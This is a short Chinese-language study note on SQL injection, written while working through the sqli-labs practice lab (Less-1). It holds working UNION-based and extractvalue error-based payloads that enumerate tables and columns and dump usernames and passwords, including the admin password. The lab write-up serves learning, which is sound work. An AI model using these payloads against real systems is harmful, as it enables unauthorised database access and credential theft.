主要借助sqllibs 学习了一下sql注入的大致原理。
sql大致流程都是这样(没试过盲注)
爆库名(通常不需要知道,可以直接调用database()函数),爆表名,爆列名,最后爆数据
所以按照步骤来写sql语句:
爆表名
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
爆列名
select group_concat(column_name)
from information_schema.columns
where table_name=‘你想要查询的表名’
爆数据
select group_concat(‘你爆出的列名’)
from ‘你要查询的表’
在知道了大致流程后,我们所需要做的,就是针对服务端的防护,运用不同的绕过方式。
在非盲注的情况下
less-1(存在回显)
源码分析
存在单引号字符注入
1)union
使用payload: -1’ and 1=1 --+判断出存在单引号字符型注入漏洞。
爆表名 -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列名 -1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
爆数据 -1’ union select 1,2,group_concat(username,0x3a,password) from users --+
2)报错型
使用extractvalue模板
-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+
-1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns%20 where table_name=‘users’%20%20 limit 1,1)))–+
因为extractvalue限定了输出字符数量和不能超过一行,所以我们可以通过limit逐个将列名输出
-1’ and extractvalue(1,concat(0x7e,(select password from users where username=‘admin’ )))–+
盲注,主要基于bool和基于时间。
以后有时间再补充吧~~